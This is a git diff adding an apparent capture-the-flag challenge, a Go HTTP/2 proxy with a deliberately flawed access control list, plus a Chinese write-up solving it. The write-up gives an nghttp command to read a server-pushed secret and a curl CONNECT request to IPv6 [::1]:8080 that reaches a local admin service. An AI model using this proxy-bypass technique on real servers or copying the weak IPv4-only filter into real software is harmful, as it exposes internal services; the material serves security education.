diff --git a/official/超安全的代理服务器/README.md b/official/超安全的代理服务器/README.md index eca9c07..1d5f0ed 100644 --- a/official/超安全的代理服务器/README.md +++ b/official/超安全的代理服务器/README.md @@ -1 +1,124 @@ # 超安全的代理服务器 + +本地源代码在 (src)[./src/smart_proxy] 文件夹下。 + +## 考察内容 + +本题设计指出是为了考察 HTTP 协议的一系列应用。更具体的来说,本题需要各位选手们在答题的过程中了解如下一些内容: + +1. HTTP2 的新特性 —— PUSH +2. HTTP CONNECT 可以用于隧道代理 +3. 代理服务器的本地代理漏洞 +4. IPv6 协议 + +当然,为了避免不了解相关内容的同学做题时卡克,小 C 在设计本题的时候也希望尽可能充分的给足暗示,希望能够让大家稍微了解一下。 + +## 解法 +使用大部分比较新浏览器打开本题的时候,都会提示 “Notice: 我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它。”,同时在帮助中心中也明确提示了“HTTP2”。只要将这两个关键词在谷歌中搜索,就可以找到大量关于 HTTP2 新特性 PUSH 的相关资料。 HTTP2 的更多资料参见 [RFC 7540](https://tools.ietf.org/html/rfc7540)。 + +### Step 1: 获取 Secret + +简单来说,HTTP2 PUSH 特性可以使得服务器更加主动地向浏览器推送资源,使得内容加载更加灵活和快速,但是 HTTP2 PUSH 的内容通常不会直接出现在浏览器的“开发人员工具”中,因此需要更加底层的调试和查看手段。我们在这里提供了两种查看的方法: + +### Method 1. 使用 Wireshark 抓包分析 +一种很直观的查看方式是直接抓取原始流量进行分析,但是困难在于 h2 内容 大多经过 TLS 协议加密,因此直接查看只能看到加密后的内容。解决方法是提取浏览器中的 TLS 会话秘钥,就可以进行抓包和解密了。具体细节参见:[这一篇文章](https://cloud.tencent.com/developer/article/1416948) + +我们使用类似下面的命令可以启动浏览器并导出 TLS 秘钥,并使用 Wireshark 可以抓取到加密的 HTTP2 流量,我们观察到有 Promise Push 的内容,具体是一个 URL。我们访问这个 URL 即可得到**代理凭证 secret** 和第一个**flag** +![pic/pic_1.png](pic/pic_1.png) + +### Method 2. 使用 nghttp2 工具调试 HTTP2 +还有另一个方法是使用命令行工具 nghttp2 来调试获取 push 的内容。 + +``` +$ nghttp -sny https://146.56.228.227/ +***** Statistics ***** + +Request timing: + responseEnd: the time when last byte of response was received + relative to connectEnd + requestStart: the time just before first byte of request was sent + relative to connectEnd. If '*' is shown, this was + pushed by server. + process: responseEnd - requestStart + code: HTTP status code + size: number of bytes received as response body without + inflation. + URI: request URI + +see http://www.w3.org/TR/resource-timing/#processing-model + +sorted by 'complete' + +id responseEnd requestStart process code size request path + 2 +11.07ms * +11.03ms 48us 200 571 /dab44e3a-6b65-4bda-a0f4-3bc1531b8a1c + 13 +11.09ms +270us 10.82ms 200 1015 / +``` + +最终 flag1 相关的网页部分源代码如下: +``` +

Notice: secret: 9a33678d37 ! Please use this secret to access our proxy.(flag1: flag{d0_n0t_push_me} )

+``` + +### Step 2. 入侵控制中心 +此时我们已经可以访问我们的代理服务器了。从原理上说,我们的代理服务器使用的是 HTTP CONNECT 代理,其具体原理参考 [RFC 7231](https://tools.ietf.org/html/rfc7231#section-4.3.6)。 + +有了代理服务器,我们需要访问什么内容呢?其实从题目名字“入侵管理中心”就已经告诉了我们做题的方向了。通过点击“管理中心”这个非常可疑的链接 http://127.0.0.1:8080。这告诉我们需要访问服务器内网 8080 端口上的 http 服务。 + +其实大部分代理协议(甚至包括早期的“影子袜子”软件等)都可能存在如下漏洞:代理服务器没有过滤一系列私有 IP 段,导致用户可以访问一些本机上(或者内网中)并不希望对外可访问的服务。但是我们的访问控制列表控制的还是比较严密: + +* 全球单播地址 +* 10.0.0.0/8 +* 127.0.0.0/8 +* 172.16.0.0/12 +* 192.168.0.0/16 + +其实 IPv4 的单播地址基本都被过滤干净了,可能可以想到可以使用 IPv6 的地址来试试。IPv6 协议中,本地地址通常是 `[::1]` 这样一个地址,因此可以来试试。在连接建立成功后,提示还需要 Referer,最终加上 Referer ,即可构造 exp 并获取 **flag2**。下面给出最终执行的命令以及关键输出。 + +``` +$ curl http://\[::1\]:8080 -p -x https://146.56.228.227:443 -H "referer: https://146.56.228.227" -vvnn --proxy-insecure --proxy-header "Secret: da0d8b646b" + +> CONNECT [::1]:8080 HTTP/1.1 +> Host: [::1]:8080 +> User-Agent: curl/7.64.1 +> Proxy-Connection: Keep-Alive +> Secret: da0d8b646b +... +... +... +< HTTP/1.1 200 OK +< Content-Length: 0 +... +... +... +> GET / HTTP/1.1 +> Host: [::1]:8080 +> User-Agent: curl/7.64.1 +> Accept: */* +> referer: https://146.56.228.227 +... +... +... +< HTTP/1.1 200 OK +< Date: Thu, 05 Nov 2020 11:54:21 GMT +< Content-Length: 32 +< Content-Type: text/plain; charset=utf-8 +< +* Connection #0 to host 146.56.228.227 left intact +flag2: flag{c0me_1n_t4_my_h0use} +... +``` + +## 一些提醒 +1. IPv6 规则配置不当其实应当引起重视。小 C 自己曾经见到某服务器配置了 200 余条 IPv4 iptables 规则,却放行了全部 IPv6 流量。功亏一篑~ +2. 一些代理相关软件至今都存在类似本地代理漏洞的风险,下面是“某白话文教程”中的代码片段原文: +``` + { + "type": "field", + "outboundTag": "direct", + "ip": [ + "geoip:cn", + "geoip:private" + ] + } +``` +3. 为了防止一些浏览器能够通过调试控制台得到 secret,小 C 曾经测试了 IE、旧 Edge、新 Edge、Chrome、Firefox、Safari 等主流桌面级浏览器。如果有同学知道有什么浏览器可以直接调试 http2的,可以告诉小 C。**(黑曜石浏览器除外)** diff --git a/official/超安全的代理服务器/pic/pic_1.png b/official/超安全的代理服务器/pic/pic_1.png new file mode 100644 index 0000000..027131d Binary files /dev/null and b/official/超安全的代理服务器/pic/pic_1.png differ diff --git a/official/超安全的代理服务器/src/.DS_Store b/official/超安全的代理服务器/src/.DS_Store new file mode 100644 index 0000000..1f5f691 Binary files /dev/null and b/official/超安全的代理服务器/src/.DS_Store differ diff --git a/official/超安全的代理服务器/src/smart_proxy/.DS_Store b/official/超安全的代理服务器/src/smart_proxy/.DS_Store new file mode 100644 index 0000000..f1dca58 Binary files /dev/null and b/official/超安全的代理服务器/src/smart_proxy/.DS_Store differ diff --git a/official/超安全的代理服务器/src/smart_proxy/LICENSE b/official/超安全的代理服务器/src/smart_proxy/LICENSE new file mode 100644 index 0000000..e69de29 diff --git a/official/超安全的代理服务器/src/smart_proxy/Makefile b/official/超安全的代理服务器/src/smart_proxy/Makefile new file mode 100644 index 0000000..edbd13d --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/Makefile @@ -0,0 +1,13 @@ +build: + clean + go build -o build/ssv . + +clean: + rm -f build/ssv* + +darwin: + CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -o build/ssv . +linux: + CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o build/ssv-linux . + +all: clean darwin linux \ No newline at end of file diff --git a/official/超安全的代理服务器/src/smart_proxy/auth.go b/official/超安全的代理服务器/src/smart_proxy/auth.go new file mode 100644 index 0000000..1e836d4 --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/auth.go @@ -0,0 +1,66 @@ +package main + +import ( + "encoding/base64" + "log" + "net/http" + "strings" +) + +func basicAuth(r *http.Request) (username, password string, ok bool) { + auth := r.Header.Get("Authorization") + if auth == "" { + if r.URL.User.Username() != "" { + user := r.URL.User.Username() + pass, isPass := r.URL.User.Password() + if isPass { + return user, pass, true + } + return user, "", true + } + return + } + return parseBasicAuth(auth) +} + +func parseBasicAuth(auth string) (username, password string, ok bool) { + const prefix = "Basic " + // Case insensitive prefix match. See Issue 22736. + if len(auth) < len(prefix) || !strings.EqualFold(auth[:len(prefix)], prefix) { + return + } + c, err := base64.StdEncoding.DecodeString(auth[len(prefix):]) + if err != nil { + return + } + cs := string(c) + s := strings.IndexByte(cs, ':') + if s < 0 { + return + } + return cs[:s], cs[s+1:], true +} + +func basicAuthHandle(w http.ResponseWriter, req *http.Request) bool { + + if *usernameFlag == "" && *passwordFlag == "" { + // pass basic auth check + return true + } + + username, password, ok := basicAuth(req) + if !ok { + w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`) + w.WriteHeader(http.StatusUnauthorized) + return false + } + + if username == *usernameFlag && password == *passwordFlag { + return true + } + + log.Println("invaild username and password:", username, password) + w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`) + w.WriteHeader(http.StatusUnauthorized) + return false +} diff --git a/official/超安全的代理服务器/src/smart_proxy/flag.go b/official/超安全的代理服务器/src/smart_proxy/flag.go new file mode 100644 index 0000000..9bc553a --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/flag.go @@ -0,0 +1,6 @@ +package main + +const ( + flag1 = "flag{d0_n0t_push_me}" + flag2 = "flag{c0me_1n_t4_my_h0use}" +) \ No newline at end of file diff --git a/official/超安全的代理服务器/src/smart_proxy/go.mod b/official/超安全的代理服务器/src/smart_proxy/go.mod new file mode 100644 index 0000000..3a8563b --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/go.mod @@ -0,0 +1,8 @@ +module strange_server + +go 1.14 + +require ( + github.com/satori/go.uuid v1.2.0 + golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de +) diff --git a/official/超安全的代理服务器/src/smart_proxy/go.sum b/official/超安全的代理服务器/src/smart_proxy/go.sum new file mode 100644 index 0000000..21ef24d --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/go.sum @@ -0,0 +1,11 @@ +github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= +github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de h1:ikNHVSjEfnvz6sxdSPCaPt572qowuyMDMJLLm3Db3ig= +golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= diff --git a/official/超安全的代理服务器/src/smart_proxy/internal.go b/official/超安全的代理服务器/src/smart_proxy/internal.go new file mode 100644 index 0000000..4fad4d3 --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/internal.go @@ -0,0 +1,97 @@ +package main + +import ( + "log" + "net" + "net/http" + "strings" +) + +const ( + internalListenAddr = ":8080" + internalLocalHost = "127.0.0.1" +) + +var ( + internalPublicError = []byte("管理中心无法从公网直接访问") + internalFromError = []byte("管理中心需要从 '" + *hostFlag + "' 被访问(Referer)") + internalMethodError = []byte("管理中心不允许该 HTTP 方法(Method)") + internalNotFoundError = []byte("无法找到请求的页面") + internnalTokenError = []byte("Missing 'token': you must 'GET' your flag with your Hackergame Token") +) + +type internalServer struct{} + +func (s *internalServer) ServeHTTP(w http.ResponseWriter, req *http.Request) { + remoteHost, _, err := net.SplitHostPort(req.RemoteAddr) + if err != nil { + remoteHost = req.RemoteAddr + } + + if *debugFlag { + log.Println("[internal] request from", remoteHost, "to", req.Method, req.URL) + } + + if remoteHost != "localhost" && remoteHost != "127.0.0.1" && remoteHost != "::1" { + w.WriteHeader(http.StatusForbidden) + w.Write(internalPublicError) + return + } + + referer := req.Header.Get("Referer") + if !strings.Contains(referer, *hostFlag) { + w.WriteHeader(http.StatusForbidden) + w.Write([]byte("管理中心需要从 '" + *hostFlag + "' 被访问(Referer)")) + return + } + + if req.Method != http.MethodGet { + w.WriteHeader(http.StatusMethodNotAllowed) + w.Write(internalMethodError) + return + } + + if req.URL.Path != "/" { + w.WriteHeader(http.StatusNotFound) + w.Write(internalNotFoundError) + return + } + + w.WriteHeader(http.StatusOK) + w.Write([]byte("flag2: "+flag2)) + + // v := req.URL.Query() + // token := v.Get("token") + // if token == "" { + // w.WriteHeader(http.StatusOK) + // w.Write(internnalTokenError) + // return + // } + // w.WriteHeader(http.StatusOK) + // w.Write(getFlag(token)) +} + +func internalServerRun() { + addr := *innerFlag + if addr == "" { + addr = internalListenAddr + } + log.Println("[server] internal server listen at", addr) + err := http.ListenAndServe(addr, &internalServer{}) + if err != nil { + log.Fatalln("[server] internal server error: ", err) + } +} + +func getFlag(token string) []byte { + + return []byte(flag2) + // h := md5.New() + // mT := h.Sum([]byte(token)) + + // dst := make([]byte, hex.EncodedLen(len(mT))) + // hex.Encode(dst, mT) + + // flag := "flag{http_is_amazing_" + string(dst[:5]) + string(dst[len(dst)-5:]) + "}" + // return []byte(flag) +} diff --git a/official/超安全的代理服务器/src/smart_proxy/main.go b/official/超安全的代理服务器/src/smart_proxy/main.go new file mode 100644 index 0000000..53437f7 --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/main.go @@ -0,0 +1,33 @@ +package main + +import ( + "flag" + "log" +) + +var ( + addrFlag = flag.String("listen", ":https", "server listen address") + innerFlag = flag.String("inner", ":8080", "internal server address") + hostFlag = flag.String("host", "127.0.0.1", "server host name") + certFlag = flag.String("cert", "", "TLS certificate") + keyFlag = flag.String("key", "", "TLS private key") + debugFlag = flag.Bool("debug", true, "enable debug mode") + + usernameFlag = flag.String("username", "", "username for basic auth") + passwordFlag = flag.String("password", "", "password for basic auth") +) + +func logInit() { + if *debugFlag { + log.SetFlags(log.LstdFlags | log.Lshortfile | log.Lmsgprefix) + log.SetPrefix("[debug]") + } +} + +func main() { + flag.Parse() // CLI parse + logInit() // log innitial + + go internalServerRun() + publicServerRun() // start server +} diff --git a/official/超安全的代理服务器/src/smart_proxy/proxy.go b/official/超安全的代理服务器/src/smart_proxy/proxy.go new file mode 100644 index 0000000..710d210 --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/proxy.go @@ -0,0 +1,154 @@ +package main + +import ( + "errors" + "fmt" + "html/template" + "log" + "net" + "net/http" + "strings" + "time" +) + +func proxyErrorHandle(w http.ResponseWriter, req *http.Request, code int, err error) { + tmpl, _ := template.New("index").Parse(tmplStr) + msg := tplMsg{} + if err != nil { + if *debugFlag { + log.Println("[proxy]", err) + } + msg.Err = template.HTML(err.Error()) + } + w.WriteHeader(code) + tmpl.Execute(w, msg) +} + +func proxyHandle(w http.ResponseWriter, req *http.Request) { + + hostPort := req.URL.Host + if hostPort == "" { + hostPort = req.Host + } + host, port, err := net.SplitHostPort(hostPort) + if err != nil { + err = errors.New("[proxy] HTTP 代理请求格式错误") + proxyErrorHandle(w, req, http.StatusBadGateway, err) + return + } + + secrestReq := req.Header.Get("Secret") + if secrestReq != secretText { + err = errors.New("[proxy] Secret 不正确") + proxyErrorHandle(w, req, http.StatusForbidden, err) + return + } + + // Allow List check + ret := aclCheck(host, port) + if ret != true { + err = fmt.Errorf("[proxy] 代理请求 %v:%v 不被访问控制列表所允许", host, port) + proxyErrorHandle(w, req, http.StatusForbidden, err) + return + } + + // outbound + outbound, err := net.DialTimeout("tcp", hostPort, 10*time.Second) + if err != nil { + err = errors.New("[gateway] 无法建立到 " + hostPort + " 的连接") + proxyErrorHandle(w, req, 502, err) + return + } + defer outbound.Close() + + // // Return 200 + wFlusher, ok := w.(http.Flusher) + if !ok { + err = errors.New("[gateway] flusher 不被支持! 请联系比赛组织方。错误码 0x03") + proxyErrorHandle(w, req, 500, err) + return + } + + switch req.ProtoMajor { + case 1: + hijacker, ok := w.(http.Hijacker) + if !ok { + proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("内部错误,请联系比赛组织方!错误码 0x01")) + return + } + clientConn, bufReader, err := hijacker.Hijack() + if err != nil { + proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("内部错误,请联系比赛组织方!错误码 0x02")) + return + } + defer clientConn.Close() + + if bufReader != nil { + // snippet borrowed from `proxy` plugin + if n := bufReader.Reader.Buffered(); n > 0 { + rbuf, err := bufReader.Reader.Peek(n) + if err != nil { + proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("隧道错误")) + return + } + outbound.Write(rbuf) + } + } + + res := &http.Response{StatusCode: http.StatusOK, + Proto: "HTTP/1.1", + ProtoMajor: 1, + ProtoMinor: 1, + Header: make(http.Header), + } + res.Write(clientConn) + + dualStream(outbound, clientConn, clientConn) + case 2: + defer req.Body.Close() + w.WriteHeader(200) + wFlusher.Flush() + dualStream(outbound, req.Body, w) + default: + proxyErrorHandle(w, req, http.StatusHTTPVersionNotSupported, errors.New(" HTTP 协议版本出错")) + } +} + +var wl = []string{"ustc.edu.cn", "www.ustc.edu.cn"} + +func aclCheck(host, port string) bool { + + // _, inport, err := net.SplitHostPort(*innerFlag) + // if err != nil { + // inport = "8080" + // } + + // if port != "80" && port != "443" && port != inport { + // log.Println(1) + // return false + // } + + for _, w := range wl { + if strings.Contains(host, w) { + return true + } + } + + ip := net.ParseIP(host) + log.Println(ip) + if ip != nil { + if ip.IsGlobalUnicast() { + return false + } + if ip4 := ip.To4(); ip4 != nil { + if ip4[0] == 192 && ip4[1] == 168 { + return false + } + if ip4[0] == 127 || ip4[0] == 10 || ip4[0] == 172 { + return false + } + } + return true + } + return false +} diff --git a/official/超安全的代理服务器/src/smart_proxy/qos.go b/official/超安全的代理服务器/src/smart_proxy/qos.go new file mode 100644 index 0000000..db837a1 --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/qos.go @@ -0,0 +1,38 @@ +package main + +import ( + "time" +) + +var qosTable = make(map[string]int) + +const ( + maxPerPeriod = 1 + period = 1 * time.Second +) + +func init() { + go qosClear() +} + +func qosClear() { + tr := time.NewTicker(period) + defer tr.Stop() + + for { + <-tr.C + qosTable = make(map[string]int) + } +} + +func qosAdd(ip string) { + qosTable[ip]++ +} + +func qosCheck(ip string) bool { + c, ok := qosTable[ip] + if !ok { + return true + } + return c <= maxPerPeriod +} diff --git a/official/超安全的代理服务器/src/smart_proxy/server.go b/official/超安全的代理服务器/src/smart_proxy/server.go new file mode 100644 index 0000000..40fc707 --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/server.go @@ -0,0 +1,163 @@ +package main + +import ( + "html/template" + "log" + "net" + "net/http" + + "golang.org/x/crypto/acme/autocert" +) + +type proxyServer struct{} + +func (s *proxyServer) ServeHTTP(w http.ResponseWriter, req *http.Request) { + indexHandle(w, req) +} + +func publicServerRun() { + + go flashUUID() + + poolInit() + log.Printf("[server] listen to: %v sni:%v", *addrFlag, *hostFlag) + + var err error + s := &http.Server{ + Addr: *addrFlag, + Handler: &proxyServer{}, + } + + if *certFlag == "" || *keyFlag == "" { + m := &autocert.Manager{ + Cache: autocert.DirCache("cert"), + Prompt: autocert.AcceptTOS, + HostPolicy: autocert.HostWhitelist(*hostFlag), + } + s.TLSConfig = m.TLSConfig() + go http.ListenAndServe(":http", m.HTTPHandler(nil)) + + err = s.ListenAndServeTLS("", "") + } else { + err = s.ListenAndServeTLS(*certFlag, *keyFlag) + } + + if err != nil { + log.Fatalln("[server] start server error: ", err) + } +} + +func indexHandle(w http.ResponseWriter, req *http.Request) { + + // basic auth for check + if !basicAuthHandle(w, req) { + return + } + + tmpl, _ := template.New("index").Parse(tmplStr) + msg := tplMsg{ + Body: indexStr, + Inner: template.HTML(*innerFlag), + } + + if *debugFlag { + log.Printf("[client] from:%v Method:%v Host:%v URL:%v\n", req.RemoteAddr, req.Method, req.Host, req.URL) + } + + // route + if req.Method == http.MethodConnect { + // Do not pass limitations + remoteHost, _, err := net.SplitHostPort(req.RemoteAddr) + if err != nil { + remoteHost = req.RemoteAddr + } + if !qosCheck(remoteHost) { + log.Println("[proxy] reached the maximum number of proxy connections.") + w.WriteHeader(http.StatusTooManyRequests) + msg.Err = maxRequestErrorStr + tmpl.Execute(w, msg) + return + } + qosAdd(remoteHost) + proxyHandle(w, req) + return + } + + // protocol check + if req.ProtoMajor != 2 { + log.Println("[http2] use HTTP/1.1 or below, quit!") + w.WriteHeader(http.StatusHTTPVersionNotSupported) + msg.Err = versionErrorStr + tmpl.Execute(w, msg) + return + } + + switch req.URL.Path { + case secureURL: + secureHandle(w, req) + return + case "/help": + helpHandle(w, req) + return + case "/admin": + adminHandle(w, req) + return + } + if req.URL.Path != "" && req.URL.Path != "/" { + notFoundHandle(w, req) + return + } + + pusher, ok := w.(http.Pusher) + if !ok { + log.Println("[http2] Pusher initial error!") + w.WriteHeader(http.StatusInternalServerError) + msg.Err = versionErrorStr + tmpl.Execute(w, msg) + return + } + + // Push + options := &http.PushOptions{ + Header: http.Header{}, + } + if err := pusher.Push(secureURL, options); err != nil { + log.Println("Failed to push: ", err) + w.WriteHeader(http.StatusInternalServerError) + msg.Err = pushErrorStr + tmpl.Execute(w, msg) + return + } + + msg.Msg = pushSuccStr + tmpl.Execute(w, msg) +} + +func secureHandle(w http.ResponseWriter, req *http.Request) { + tmpl, _ := template.New("index").Parse(tmplStr) + msg := tplMsg{} + + rawMsg := "secret: " + secretText + " ! Please use this secret to access our proxy.(flag1: "+flag1+" )" + msg.Msg = template.HTML(rawMsg) + tmpl.Execute(w, msg) +} + +func helpHandle(w http.ResponseWriter, req *http.Request) { + tmpl, _ := template.New("help").Parse(tmplStr) + msg := tplMsg{} + msg.Body = helpStr + tmpl.Execute(w, msg) +} + +func adminHandle(w http.ResponseWriter, req *http.Request) { + w.WriteHeader(http.StatusBadGateway) + w.Write([]byte(adminStr)) +} + +func notFoundHandle(w http.ResponseWriter, req *http.Request) { + tmpl, _ := template.New("help").Parse(tmplStr) + w.WriteHeader(http.StatusNotFound) + msg := tplMsg{} + msg.Err = template.HTML("Page Not Found: " + req.URL.Path) + tmpl.Execute(w, msg) +} diff --git a/official/超安全的代理服务器/src/smart_proxy/template.go b/official/超安全的代理服务器/src/smart_proxy/template.go new file mode 100644 index 0000000..7bae983 --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/template.go @@ -0,0 +1,88 @@ +package main + +import "html/template" + +const ( + tmplStr = ` + + + + Smart Proxy! + + + +

Smart Proxy!

+
+ {{with .Err}} +

Error: {{.}}

+ {{end}} + {{with .Msg}} +

Notice: {{.}}

+ {{end}} + + {{.Body}} + +
+ + + +` + + indexStr = `

我们提供了一个代理服务器,用于访问科大主页( www.ustc.edu.cn )。只有拥有 secret 的人才是我们尊贵的客人,才能访问我们的服务。

+

为了获取更多帮助, 你可以访问 帮助中心

+

一周工作 72 小时的美工上周住进了 ICU,界面难看也先凑合着用吧

` + + helpStr = `

Smart Proxy 是一个基于 HTTP2 协议的超级代理服务器。

+

1. 我们的服务只提供基于 CONNECT 的代理(欲知详情,请访问 RFC 7231

+

2. 另外,你需要在你的 HTTP 请求头标中加入 Secret 来作为身份凭证, 例如:

+ +Secret: [your secret here] + +

请注意 Secret 只有 60 秒有效期。

+

3. 我们使用一个访问控制列表来检查您的访问请求。只有匹配如下域名的请求,才会被代理:

+ + + +在黑名单中的 IP 是无法被代理的: + +` + + adminStr = ` + + + + Smart Proxy! + + +

无法连接到管理中心: http://127.0.0.1:8080 无法从公网被访问。

+ + +` + + adminErrorStr = "无法连接到管理中心: http://127.0.0.1:8080 无法从公网被访问。" + versionErrorStr = "为了更好的提供服务器, 请使用最新的 HTTP2 协议。" + pushErrorStr = "我们无法向您 推送(PUSH) 最新的 Secret. 请使用如下浏览器以便于我们给你推送一些消息: Chrome, Firefox, Safari, Microsoft Edge." + pushSuccStr = "我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它。" + maxRequestErrorStr = "别太快了!您已经达到了允许连接的上限了" +) + +type tplMsg struct { + Err template.HTML + Msg template.HTML + Body template.HTML + Inner template.HTML +} diff --git a/official/超安全的代理服务器/src/smart_proxy/transport.go b/official/超安全的代理服务器/src/smart_proxy/transport.go new file mode 100644 index 0000000..772eb96 --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/transport.go @@ -0,0 +1,65 @@ +package main + +import ( + "io" + "net" + "net/http" + "sync" +) + +var bufferPool sync.Pool + +func poolInit() { + makeBuffer := func() interface{} { return make([]byte, 0, 32*1024) } + bufferPool = sync.Pool{New: makeBuffer} +} + +func flushingIoCopy(dst io.Writer, src io.Reader, buf []byte) (written int64, err error) { + flusher, ok := dst.(http.Flusher) + if !ok { + return io.CopyBuffer(dst, src, buf) + } + for { + nr, er := src.Read(buf) + if nr > 0 { + nw, ew := dst.Write(buf[0:nr]) + flusher.Flush() + if nw > 0 { + written += int64(nw) + } + if ew != nil { + err = ew + break + } + if nr != nw { + err = io.ErrShortWrite + break + } + } + if er != nil { + if er != io.EOF { + err = er + } + break + } + } + return +} + +func dualStream(target net.Conn, clientReader io.ReadCloser, clientWriter io.Writer) error { + stream := func(w io.Writer, r io.Reader) error { + // copy bytes from r to w + buf := bufferPool.Get().([]byte) + buf = buf[0:cap(buf)] + _, _err := flushingIoCopy(w, r, buf) + if closeWriter, ok := w.(interface { + CloseWrite() error + }); ok { + closeWriter.CloseWrite() + } + return _err + } + + go stream(target, clientReader) + return stream(clientWriter, target) +} diff --git a/official/超安全的代理服务器/src/smart_proxy/uuid.go b/official/超安全的代理服务器/src/smart_proxy/uuid.go new file mode 100644 index 0000000..e8a7bcd --- /dev/null +++ b/official/超安全的代理服务器/src/smart_proxy/uuid.go @@ -0,0 +1,45 @@ +package main + +import ( + "crypto/sha256" + "encoding/hex" + "log" + "time" + + uuid "github.com/satori/go.uuid" +) + +var ( + secureURL = "/D2170E42-63B0-40ED-B0AE-9AF6CA3AC32E" + secretText = "" + salt = "smart-or-strange" +) + +func genUUID() { + uuidRaw := uuid.NewV4().String() + secureURL = "/" + uuidRaw + + secretRaw := sha256.Sum256([]byte(uuidRaw + salt)) + + dst := make([]byte, hex.EncodedLen(len(secretRaw))) + hex.Encode(dst, secretRaw[:]) + + secretText = string(dst[:10]) + + if *debugFlag { + log.Printf("[secret] URL:%v Secret: %v \n", secureURL, secretText) + } +} + +func flashUUID() { + d := time.Duration(time.Second * 60) + t := time.NewTicker(d) + defer t.Stop() + genUUID() + + defer t.Stop() + for { + <-t.C + genUUID() + } +}